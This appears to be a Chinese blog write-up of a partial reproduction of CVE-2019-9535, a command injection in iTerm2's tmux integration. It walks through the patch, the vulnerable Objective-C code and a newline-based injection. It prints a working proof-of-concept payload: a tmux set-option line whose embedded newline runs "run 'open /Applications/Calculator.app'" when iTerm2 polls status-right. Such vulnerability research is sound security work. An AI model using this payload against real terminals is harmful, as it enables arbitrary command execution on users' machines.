长亭百川云 - 文章详情

[CVE-2019-9535] Iterm2命令执行的不完整复现

分类乐色桶

41

2024-07-13

CVE-2019-9535

昨天爆出了一个Iterm2的代码执行漏洞,看着非常的刺激吓人,因为我也在用,所以趁热赶紧尝试复现一下。源头文章是来自:https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/

mozilla他们通过MOSS自动审计出来的(?)。

历程

首先通过关键字找到对应的commit记录:https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c

根据commit描述,可以看到这个就是CVE-2019-9535的补丁,而洞的根本原因大概可以了解到。

  1. 有关于 session name

  2. 与 set-titles-stringstatus-left, and status-right这三个变量有关。

  3. 是轮询获取title的,所以应该是自动触发的。

我之前都是没有使用过Tmux的,而是使用Screen,所以Iterm2并没有集成Tmux环境。

安装Tmux集成环境

根据Iterm2文档:https://iterm2.com/documentation-tmux-integration.html

使用homebrew自动安装即可-- brew install tmux

然后就能使用 tmux-CC建立起tmux服务了。启动后,会新建一个tmux窗口

Tmux命令

根据man文档,能够很快的找到Tmux相关的指令以及参数:http://man7.org/linux/man-pages/man1/tmux.1.html



1.       `set-titles-string string`
    
2.               `String used to set the client terminal title if set-titles is`
    
3.               `on.  Formats are expanded, see the FORMATS section.`
    
4.       `status-left string`
    
5.               `Display string (by default the session name) to the left of the`
    
6.               `status line.  string will be passed through strftime(3).  Also`
    
7.               `see the FORMATS and STYLES sections.`
    
8.    
    
9.               `For details on how the names and titles can be set see the`
    
10.               `NAMES AND TITLES section.`
    
11.    
    
12.               `Examples are:`
    
13.    
    
14.                     `#(sysctl vm.loadavg)`
    
15.                     `#[fg=yellow,bold]#(apm -l)%%#[default] [#S]`
    
16.    
    
17.               `The default is ‘[#S] ’.`
    
18.       `status-right string`
    
19.               `Display string to the right of the status line.  By default,`
    
20.               `the current pane title in double quotes, the date and the time`
    
21.               `are shown.  As with status-left, string will be passed to`
    
22.               `strftime(3) and character pairs are replaced.`
    


通过文档,可以发现,这三个都是字符串类型的变量。而根据描述其默认都是打印出 session name的值。根据猜测,这三个应该是平行的Sink,所以接下来我们需要去找到漏洞的Source。

简单审计

接下来带入到补丁中看。根据关键字很快的定位到代码

审计一下修补前的代码



1.  `- (void)requestUpdates {`
    
2.      `_accelerated = NO;`
    
3.      `[_gateway sendCommand:@"display-message -p \"#{status-left}\"" responseTarget:self responseSelector:@selector(handleStatusLeftResponse:)];`
    
4.      `[_gateway sendCommand:@"display-message -p \"#{status-right}\"" responseTarget:self responseSelector:@selector(handleStatusRightResponse:)];`
    
5.  `}`
    


其实我也不知道这是什么语言...但是还是硬着头皮看下去。根据关键字判断,这里是将 display-message-p"#{status-right}"命令的返回值传递到了 handleStatusrightResponse函数中。
我们可以在Tmux Server中执行Command,看一下这句命令的返回值是啥

接着把返回值传递进handleStatusRightResponse函数,这里可以看到在handleStatusRightResponse函数中,执行命令之前,对参数进行了一次过滤,很明显是防止命令注入的,此时答案呼之欲出:这就是个二次的(Tmux)命令注入啊!



1.  `- (void)handleStatusrightResponse:(NSString *)response {`
    
2.      `if (!response) {`
    
3.          `return;`
    
4.      `}`
    
5.      `NSString *command = [NSString stringWithFormat:@"display-message -p \"%@\"", [self escapedString:response]];`
    
6.      `[_gateway sendCommand:command responseTarget:self responseSelector:@selector(handleStatusrightValueExpansionResponse:)];`
    
7.  `}`
    
8.  `- (NSString *)escapedString:(NSString *)string {`
    
9.      `return [[string stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]`
    
10.                      `stringByReplacingOccurrencesOfString:@"\"" withString:@"\\\""];`
    
11.  `}`
    


根据原文当中的提示,需要用户运行一些无危害的命令,而这个无危害的命令应该就是对 status-right进行赋值:



1.  `tmux set-option -g status-right "[#S]"`
    


这里便是攻击的Source点了,第一次 display-message-p"#{status-right}",返回"[#S]",然后将其拼接入第二次 display-message-- display-message-p"[#S]",但是根据资料,以及测试,并没有办法一行执行多条语句,并且由于转义无法逃逸出双引号的包裹,此时不由的想到了CRLF。

根据文档得知 run可以运行程序,尝试在Server console中执行命令:



1.  `display -p 1`
    
2.  `run 'open /Applications/Calculator.app'`
    


可以看到,两条语句都成功执行。接下来测试第一条语句错误,第二条语句是否会执行:



1.  `display -p "1`
    
2.  `run 'open /Applications/Calculator.app'`
    


此时,第一条命令并没有闭合,所以无法执行,但第二条语句还是成功执行了

此时,攻击链就完整了。

首先欺骗用户输入:



1.  `tmux set-option -g status-right "#{?window_bigger,[#{window_offset_x}#,#{window_offset_y}] ,}\"\"#{=21:pane_title}\" %H:%M %d-%b-%y`
    
2.  `run 'open /Applications/Calculator.app'#"`
    


在启动Tmux的时候,由于Status Bars需要轮询Tmux的 status-right,用于更新Iterm2的显示,所以会自动触发上述漏洞链,造成代码执行:

至此,起码是命令执行了。这样的利用链不止一条,除了 status-right以外, status-leftset-titles-string的利用链也是同样原理。

关于Session name

一开始把目光放在了 Escapesequences上,以为是自动触发的漏洞。但是怎么样都没办法找到利用点,不过应该只是我没找到...

根据文档



1.  `Control sequences in tmux (like \e]0;title\\\e) modify the session name.`
    
2.    
    
3.  `printf "\e]0;title\\\e" 可以修改Session name为title  # 需要先打开set-titles(set-option -g set-titles on)`
    




1.       `allow-rename [on | off]`
    
2.               `Allow programs in the pane to change the window name using a`
    
3.               `terminal escape sequence (\ek...\e\\).`
    
4.    
    
5.  `printf "\ekWindows_NAME\e\\" 可以自动修改窗口名,需要打开allow-rename`
    


我认为这一条线才是洞主演示视频中的自动触发的线,只要终端中打印了对应的 Escapesequences则会触发修改字段,从而将攻击者修改的字段注入进命令中,可惜我并没有找到链。并且这条线需要用户开启对应设置。

首先也是Iterm轮询客户端的标题,进行自动更新:



1.  `- (void)installTmuxTitleMonitor {`
    
2.      `if (_tmuxTitleMonitor) {`
    
3.          `return;`
    
4.      `}`
    
5.      `__weak __typeof(self) weakSelf = self;`
    
6.      `_tmuxTitleMonitor = [[iTermTmuxOptionMonitor alloc] initWithGateway:_tmuxController.gateway`
    
7.                                                                   `scope:self.variablesScope`
    
8.                                                                  `format:@"#{pane_title}"`
    
9.                                                                  `target:[NSString stringWithFormat:@"%%%@", @(self.tmuxPane)]`
    
10.                                                            `variableName:iTermVariableKeySessionTmuxPaneTitle`
    
11.                                                                   `block:^(NSString * _Nonnull title) {`
    
12.                                                                       `if (title) {`
    
13.                                                                           `[weakSelf setSessionSpecificProfileValues:@{ KEY_TMUX_PANE_TITLE: title ?: @""}];`
    
14.                                                                           `[weakSelf.delegate sessionDidUpdatePaneTitle:self];`
    
15.                                                                       `}`
    
16.                                                                   `}];`
    
17.      `[_tmuxTitleMonitor updateOnce];`
    
18.  `}`
    




1.  `- (NSString *)escapedFormat {`
    
2.      `return [[_format stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]`
    
3.              `stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];`
    
4.  `}`
    
5.    
    
6.  `- (void)update:(NSTimer *)timer {`
    
7.      `[self updateOnce];`
    
8.  `}`
    
9.    
    
10.  `- (void)updateOnce {`
    
11.      `if (_haveOutstandingRequest) {`
    
12.          `DLog(@"Not making a request because one is outstanding");`
    
13.          `return;`
    
14.      `}`
    
15.      `_haveOutstandingRequest = YES;`
    
16.      `NSString *command = [NSString stringWithFormat:@"display-message -t '%@' -p '%@'", _target, self.escapedFormat];`
    
17.      `DLog(@"Request option with command %@", command);`
    
18.      `[self.gateway sendCommand:command`
    
19.                 `responseTarget:self`
    
20.               `responseSelector:@selector(didFetch:)`
    
21.                 `responseObject:nil`
    
22.                          `flags:kTmuxGatewayCommandShouldTolerateErrors];`
    
23.  `}`
    
24.    
    
25.  `- (void)didFetch:(NSString *)value {`
    
26.      `DLog(@"Did fetch %@", value);`
    
27.      `if (!value) {`
    
28.          `// Probably the pane went away and we'll be dealloced soon.`
    
29.          `return;`
    
30.      `}`
    
31.      `_haveOutstandingRequest = NO;`
    
32.      `if (_variableName) {`
    
33.          `[self.scope setValue:value forVariableNamed:_variableName];`
    
34.      `}`
    
35.      `if (_block) {`
    
36.          `_block(value);`
    
37.      `}`
    
38.  `}`
    


这咋是个回调-回调函数....



1.  `block:^(NSString * _Nonnull title) {`
    
2.                                                                       `if (title) {`
    
3.                                                                           `[weakSelf setSessionSpecificProfileValues:@{ KEY_TMUX_PANE_TITLE: title ?: @""}];`
    
4.                                                                           `[weakSelf.delegate sessionDidUpdatePaneTitle:self];`
    
5.                                                                       `}`
    
6.                                                                   `}];`
    
7.    
    
8.    
    
9.    
    
10.  `- (BOOL)onUpdateTitle {`
    
11.      `NSString *tmuxPaneTitle = [self stringForKey:KEY_TMUX_PANE_TITLE];`
    
12.      `if (!tmuxPaneTitle) {`
    
13.          `return NO;`
    
14.      `}`
    
15.      `if ([_profileNameFieldForEditCurrentSession textFieldIsFirstResponder] && _profileNameFieldForEditCurrentSession.window.isKeyWindow) {`
    
16.          `// Don't allow it to change to a server-set value during editing.`
    
17.          `return YES;`
    
18.      `}`
    
19.      `_profileNameFieldForEditCurrentSession.stringValue = tmuxPaneTitle;`
    
20.      `return YES;`
    
21.  `}`
    


实际上就是把我们的pane标题传入到了block这个函数中。然后实际就是把标题赋值给了KEYTMUXPANETITLE这个全局变量(全大写,应该是全局吧...),最后传递给了profileNameFieldForEditCurrentSession。

跟到这里就无疾而终了,因为从始自终都只执行了一次 display-message,没有将 #{pane_title}的值拼接入某个语句,当然也有可能是在另外一个文件使用到了,但我实在是看不懂这个语言,并且Iterm2偷偷把我下的所有版本都给升级到最新了,只好作罢。

最后,在3.30版本是一个分水岭,以这版本为界限,增加了修改标题的渠道,低于这个版本的只能去设置里面改,而高于这个版本的则可以使用 Escapesequences.

演示

< 3.30(实际上就是个CRLF->命令注入,注入点跟上述的不大一样,不过没继续跟)

3.3.0=< version <3.3.6

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2